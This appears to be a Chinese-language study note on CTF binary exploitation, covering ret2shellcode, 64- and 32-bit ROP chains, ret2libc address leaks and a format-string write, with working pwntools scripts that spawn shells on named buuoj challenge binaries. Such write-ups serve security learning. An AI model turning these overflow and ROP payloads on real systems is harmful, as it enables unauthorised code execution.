1.ret2shellcode
引用一下ciscn_2019_n_5
打开main函数发现get依旧是栈溢出,但shift却没有bin和system,并且什么保护都没有开,且有个name变量打开便发现它存在于bss端上,于是便想直接name写shelllcode在get调整到name函数上就行 了
from pwn import*
r=remote('node4.buuoj.cn',26540)
context(arch='amd64',os='linux')
shellcode=asm(shellcraft.sh())
r.sendlineafter('tell me your name',shellcode)
payload=b'a'*0x28+p64(0x601080)
r.sendlineafter('What do you want to say to me?',payload)
r.interactive()
2.rop链构造
引用一下[HarekazeCTF2019]baby_rop
打开main函数发现有scanf存在栈溢出条件,在shift找到了bin且有system,再用gadget找到pop rdi ret构造rop就行
但是很奇怪的是ls都有却不能cat flag,搞不懂了
64位的rop构造,是先传参在调用函数,且前六个参数要先传入寄存器rdi,rsi,rdx,rcx,r8d,r9d,在入栈,所以构造前尽量先在静态库里面找到pop 寄存器 ret的地址,总的来说构造的时候顺序为:垃圾填充+pop寄存器(前六个参数,后直接传参)+调用函数地址
32位的rop构造也相似,但是参数是直接先传入栈中且传参方式不同,具体来说就是先调用函数之后在传入参数,理解也相对64位简单一点,构造逻辑就是:垃圾填充+调用函数地址+参数填入
3.ret2libc
a.铁人三项(第五赛区)_2018_rop 1
打开main函数,经典的nx保护,无sys和bin,便想着用泄露地址,直接模板格式化,32位模板
from pwn import *
from LibcSearcher import *
r=remote('00 ',00)
elf=ELF('./2018_rop')
write_plt=elf.plt['write']
write_got=elf.got['write']
main=elf.sym['main']
payload='a'*(0x88+4)+p32(write_plt)+p32(main)+p32(0)+p32(write_got)+p32(4)
r.sendline(payload)
write_addr=u32(r.recv(4))
libc=LibcSearcher('write',write_addr)
offset=write_addr-libc.dump('write')
system_addr=offset+libc.dump('system')
bin_sh=offset+libc.dump('str_bin_sh')
payload='a'*(0x88+4)+p32(system_addr)+p32(0)+p32(bin_sh)
r.sendline(payload)
r.interactive()
b.
[HarekazeCTF2019]baby_rop2
很恼火github根本打不开libc.so.6下不了,所以也就只能看下解体具体做法,和a相同的思路只是换成了64位,值得注意的是调用printf函数是有调用%s函数
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
#p = process('./babyrop2')
p = remote('00',00)
elf = ELF('babyrop2')
pop_rdi = 0x0000000000400733
pop_rsi_r15 = 0x0000000000400731
format_str = 0x0000000000400770
ret_addr = 0x0000000000400734
printf_plt = elf.plt['printf']
read_got = elf.got['read']
main_plt = elf.sym['main']
payload = 'a'*0x28+p64(pop_rdi)+p64(format_str)+p64(pop_rsi_r15)+p64(read_got)+p64(0)+p64(printf_plt)+p64(main_plt)
p.recvuntil("name? ")
p.sendline(payload)
read_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
print hex(read_addr)
libc = LibcSearcher('read', read_addr)
libc_base = read_addr - libc.dump('read')
sys_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
payload = 'a'*0x28+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr)
p.sendline(payload)
p.interactive()
4.格式化字符串
pwn2_sctf_2016
read一个printf同一个变量就是可以用格式化字符串
先gdb调试aaaa随便标价一下,在%08x打印一下,发现距离11个距离
from pwn import *
p=remote('node4.buuoj.cn',29607)
addr=0x0804a02c
payload=p32(addr)+b'%11$n'
p.sendline(payload)
p.interactive()
0x0804a02c四个字节,输到x=3的地址,只可以改成4
还有一种类型好像是有%s直接泄露flag.txt的内容的
杂记
A.buuctf ciscn_2019_ne_5:system 的参数可以是binsh也可以是sh
B.bjdctf_2020_babystack2
由于溢出大小的设定很厉害的讨论无符号和有符号型整数,使得输入范围增大
C/C++: 整数溢出(Integer Overflow)_Lee's Blog-CSDN博客_整数溢出感谢
C.虚拟搞炸了很多次。又有很多插件,安装不上气惨了,找了网上的虚拟机硬盘也安装有问题有问题想笑。就自己试着搞一个。
GitHub - Joe1sn/one_shot_pwn: 一键部署pwn基础配置
看到joesn有点意外,但是却安装不了
GitHub - skyedai910/PWN_VM_SETUP: PWN虚拟机配置脚本牛皮
但是python2的环境始终不行很烦,准备开学再搞搞
D.保护机制四种NX,Canary,RELRO,PIE,Linux的4种保护机制讲解_半岛铁盒的博客-CSDN博客_relro保护
E.jarvisoj_tell_me_something
有些题目不需要汇编没有leave就不需要填充ebp